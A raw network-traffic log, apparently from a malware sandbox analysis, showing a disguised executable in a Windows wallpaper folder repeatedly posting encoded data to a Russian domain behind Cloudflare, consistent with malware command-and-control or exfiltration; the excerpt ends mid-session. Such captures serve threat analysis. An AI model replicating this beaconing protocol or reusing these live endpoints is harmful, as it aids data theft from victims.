Jan 1, 2025 15:17:24.421294928 CET	1056	OUT	Data Raw: 54 55 51 54 5a 5a 52 5b 59 5b 5a 5a 52 53 5b 51 55 5c 5a 56 57 5a 5b 57 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: TUQTZZR[Y[ZZRS[QU\ZVWZ[W[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]'/Y709(!!??^?<T'5R&Z?5'?/[(7_/*9]//_
Jan 1, 2025 15:17:24.532274961 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:17:24.816596985 CET	810	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:17:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YvZQa2%2F%2B49CBIrwDXQ4ztLvW4pQccIp%2Bg5mBMS1cNcFD2CvUKof4qLbxn2EXlaX%2B%2BOL9FkwAf4IPnsVTdvf4vQacKGth1%2FJzsNayKgy8DmroK0CMScQ0EtefO4vy2gc4Mdss1Pa7"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb321f80b26de92-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4283&min_rtt=1588&rtt_var=5987&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1384&delivery_rate=63053&cwnd=244&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49762	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:17:24.940275908 CET	304	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue
Jan 1, 2025 15:17:25.296281099 CET	1056	OUT	Data Raw: 54 50 54 54 5a 58 57 5d 59 5b 5a 5a 52 5a 5b 59 55 5e 5a 5d 57 59 5b 5e 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: TPTTZXW]Y[ZZRZ[YU^Z]WY[^[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]$/0'9["#_<('?%:>2;Q5&2;_<-+];9]//_
Jan 1, 2025 15:17:25.460841894 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:17:25.608695984 CET	1056	OUT	Data Raw: 54 50 54 54 5a 58 57 5d 59 5b 5a 5a 52 5a 5b 59 55 5e 5a 5d 57 59 5b 5e 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: TPTTZXW]Y[ZZRZ[YU^Z]WY[^[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]$/0'9["#_<('?%:>2;Q5&2;_<-+];9]//_
Jan 1, 2025 15:17:25.664427996 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:17:26.016949892 CET	808	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:17:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OGzrQQWAV1RyqrkkSsO4yTRRkPsZWp8tH2xfaAtLWJadoo1W3UlZlV%2FAQ42MQEvRvRPsPPZLSHZJhZgf4JH4Qe2iylI8jj%2BQQ3YQqvzU%2FezcXHtw0zL9m%2FGZe556%2BkFUR5jryOwQ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb321fd7c7f0f7b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4523&min_rtt=1494&rtt_var=6619&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=1360&delivery_rate=56743&cwnd=204&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49763	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:17:26.142256975 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:17:26.504874945 CET	1056	OUT	Data Raw: 54 57 54 52 5f 57 57 59 59 5b 5a 5a 52 59 5b 58 55 5d 5a 56 57 58 5b 5e 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: TWTR_WWYY[ZZRY[XU]ZVWX[^[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]$D/<+Y$;#2'Y)+3[?-'::%<4"!*[1Y/\>-',:9]//_ ,
Jan 1, 2025 15:17:26.615108967 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:17:26.783363104 CET	812	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:17:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vghgCA3ErLvQyVdYQGkMpK9jWZOC%2FX%2B%2FxPm%2F3%2BlKwpneR8neV1l54EQGDJHaV41zImfl%2BKhNoo7nqyIKRJKJkDXF3Fl69UUQqQoT0YUZxcSkRtDp%2FR9FzoGfukgxOPsaHNh8UDqj"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb322050b8f8c0c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4314&min_rtt=2056&rtt_var=5287&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1384&delivery_rate=72557&cwnd=205&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49764	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:17:26.921402931 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:17:27.280777931 CET	1056	OUT	Data Raw: 54 51 54 5f 5f 58 52 5c 59 5b 5a 5a 52 59 5b 5e 55 55 5a 5b 57 5b 5b 5d 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: TQT__XR\Y[ZZRY[^UUZ[W[[][YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]'/^'9\#2;+8(?%Q$:"&/7U6!1? ?',:9]//_ ,
Jan 1, 2025 15:17:27.393794060 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:17:27.645549059 CET	813	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:17:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ArWrzQ9P6r5U0s5dzEhH%2FrPLXILgKnX6IhSL0Kib%2BsL56MU%2Bz%2FReYwsIbq6EDTmYpX84fFpFobqHpm0koSGKGni4MVwWhtFlsC0j%2F2pkJZwplOZkH4phG%2BOyWJu9L8RM1M0ro7%2BT"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb32209e8392363-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2516&min_rtt=2335&rtt_var=1239&sent=3&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1384&delivery_rate=385325&cwnd=251&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49765	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:17:27.782036066 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:17:28.140007019 CET	1056	OUT	Data Raw: 54 50 54 5f 5a 58 57 5e 59 5b 5a 5a 52 58 5b 50 55 5b 5a 5f 57 5d 5b 5e 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: TPT_ZXW^Y[ZZRX[PU[Z_W][^[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]$,Y?^' \#!7](^ =.$!R1$#!6\2?+]<$,9]//_ (
Jan 1, 2025 15:17:28.229636908 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:17:28.485404015 CET	801	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:17:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=A5lRnO9xJHAvqGxM5kEw1FPLtDPergkSqVFqoEcljuBqsqVk1vxTEKuhLIYZAXka9DGqmdJfR9gntaTkthnv9tRvgYolTZrouW%2FOlEhA4h7i76znXcsILLkOSCJH5T0L6Ek2QgYV"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb3220f2f7b0f5b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1866&min_rtt=1489&rtt_var=1313&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1384&delivery_rate=323868&cwnd=220&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49766	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:17:28.621690989 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:17:28.968142986 CET	1056	OUT	Data Raw: 51 57 54 55 5f 59 57 58 59 5b 5a 5a 52 58 5b 5a 55 5e 5a 59 57 5f 5b 5a 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: QWTU_YWXY[ZZRX[ZU^ZYW_[Z[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]$/<#3*([6!/+;3?&'9)%, 51-&/'+^,9]//_ (
Jan 1, 2025 15:17:29.111769915 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:17:29.535990000 CET	820	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:17:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2QptxGIl7mz0bfKGWkEUm8IC1D%2BZMa8QnPn1MUle%2Fnw0F4ZXZ%2BaVS7iwaK1nj%2BvyLGKq5bUCp%2BUsZ7y9fm%2FDYgU6zVa%2Bk7q4RqSS7RqKWHO0e8Q%2F3dspE32ol%2BYmJQZ802Ld%2BE0%2F"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb32214ac4a4411-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3694&min_rtt=1691&rtt_var=4640&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1384&delivery_rate=82411&cwnd=234&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0
Jan 1, 2025 15:17:29.579487085 CET	820	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:17:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2QptxGIl7mz0bfKGWkEUm8IC1D%2BZMa8QnPn1MUle%2Fnw0F4ZXZ%2BaVS7iwaK1nj%2BvyLGKq5bUCp%2BUsZ7y9fm%2FDYgU6zVa%2Bk7q4RqSS7RqKWHO0e8Q%2F3dspE32ol%2BYmJQZ802Ld%2BE0%2F"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb32214ac4a4411-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3694&min_rtt=1691&rtt_var=4640&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1384&delivery_rate=82411&cwnd=234&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49767	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:17:29.599365950 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1328 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:17:29.952606916 CET	1328	OUT	Data Raw: 54 56 54 53 5f 58 57 5f 59 5b 5a 5a 52 5e 5b 5b 55 5c 5a 5e 57 59 5b 5e 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: TVTS_XW_Y[ZZR^[[U\Z^WY[^[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]$,?7X0_7#!<7Z?=)Q3:1W1<61-%Y$<<-*9]//_ 0
Jan 1, 2025 15:17:30.050770998 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:17:30.312690020 CET	959	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:17:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CM%2BpAL7kcAI5jUOhB8U%2FPOp4pBsbjAe0Gpu1ONtvaWk7dfyH4pQymlg%2BQ3sspEYqzvnONLCcx%2B3FBYQAWk0fXtqCHPfRHn0tftB3aNoVMWawH6%2FO32eCHD%2FQw1cD2IvTLkLmUAOQ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb3221a8fb14398-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3909&min_rtt=1617&rtt_var=5191&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1656&delivery_rate=73160&cwnd=229&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 02 1d 2e 1c 23 3a 3d 1f 27 2f 3b 06 2f 2c 3d 5b 29 2b 24 15 3d 05 21 16 32 06 04 51 2a 32 3d 1a 21 17 05 1d 2b 12 29 55 25 12 00 09 31 02 2e 5a 0d 1c 39 16 21 2d 33 57 25 32 3a 0f 27 06 0c 03 34 03 08 5b 22 38 33 5a 31 3d 22 11 25 00 3d 1e 2d 00 09 13 38 3d 2a 09 2c 20 29 07 30 3f 23 50 0f 1f 23 13 31 3d 2e 03 30 21 20 58 36 20 20 11 23 29 21 55 20 5c 38 51 30 2a 0c 5e 24 3b 21 0d 32 05 28 0e 21 07 3e 10 27 32 05 19 33 22 2f 5d 21 0e 2c 55 03 3e 54 51 0d 0a 30 0d 0a 0d 0a Data Ascii: 98.#:='/;/,=[)+$=!2Q2=!+)U%1.Z9!-3W%2:'4["83Z1="%=-8=, )0?#P#1=.0! X6 #)!U \8Q0*^$;!2(!>'23"/]!,U>TQ0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49768	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:17:29.657921076 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:17:30.015000105 CET	1056	OUT	Data Raw: 51 51 54 54 5f 5f 52 59 59 5b 5a 5a 52 5f 5b 59 55 59 5a 5d 57 51 5b 59 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: QQTT__RYY[ZZR_[YUYZ]WQ[Y[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]'-?7Y0<]!2()(X<X%U3962#U#2-%<?= ;9]//_ 4
Jan 1, 2025 15:17:30.130539894 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:17:30.316365957 CET	807	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:17:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=t829ilyhlq42E3FiAbSMOSTOUoQ4o%2F66b04Tpk2d1GT9UriXQsYdUGirAH9p%2FhsP21mrE2stSHn7JECMKSyM979Zly%2BImtBMHF5oqPGp%2BGilFj6Jo6IbES0Yu8QXomQzXOK3udZP"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb3221b0ecb42c3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3322&min_rtt=1760&rtt_var=3784&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1384&delivery_rate=102413&cwnd=202&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49769	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:17:30.455486059 CET	304	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue
Jan 1, 2025 15:17:30.811937094 CET	1056	OUT	Data Raw: 51 56 54 52 5f 58 57 5a 59 5b 5a 5a 52 5d 5b 5a 55 54 5a 5b 57 58 5b 59 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: QVTR_XWZY[ZZR][ZUTZ[WX[Y[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]$D/?$);61+?7Y+"%)5W% !"=2?'(>?_8*9]//_ <
Jan 1, 2025 15:17:30.896677017 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:17:31.071309090 CET	817	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:17:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hXh4D%2BJtnBcOzAWt18e1pb%2BWiocBiTa72G8tWEYZcwi2Z4f%2BZrnmRyPN9fbijxORlsu08KtqN%2FoaKX%2BGronSBNEftxQna6sL%2FWwkBx9873xI6Kw%2FJ4UnZASacVYh%2ByEY%2FnOtsV2g"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb3221fd8b70f7c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2281&min_rtt=1469&rtt_var=2175&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1360&delivery_rate=183278&cwnd=228&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	49770	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:17:31.204241991 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
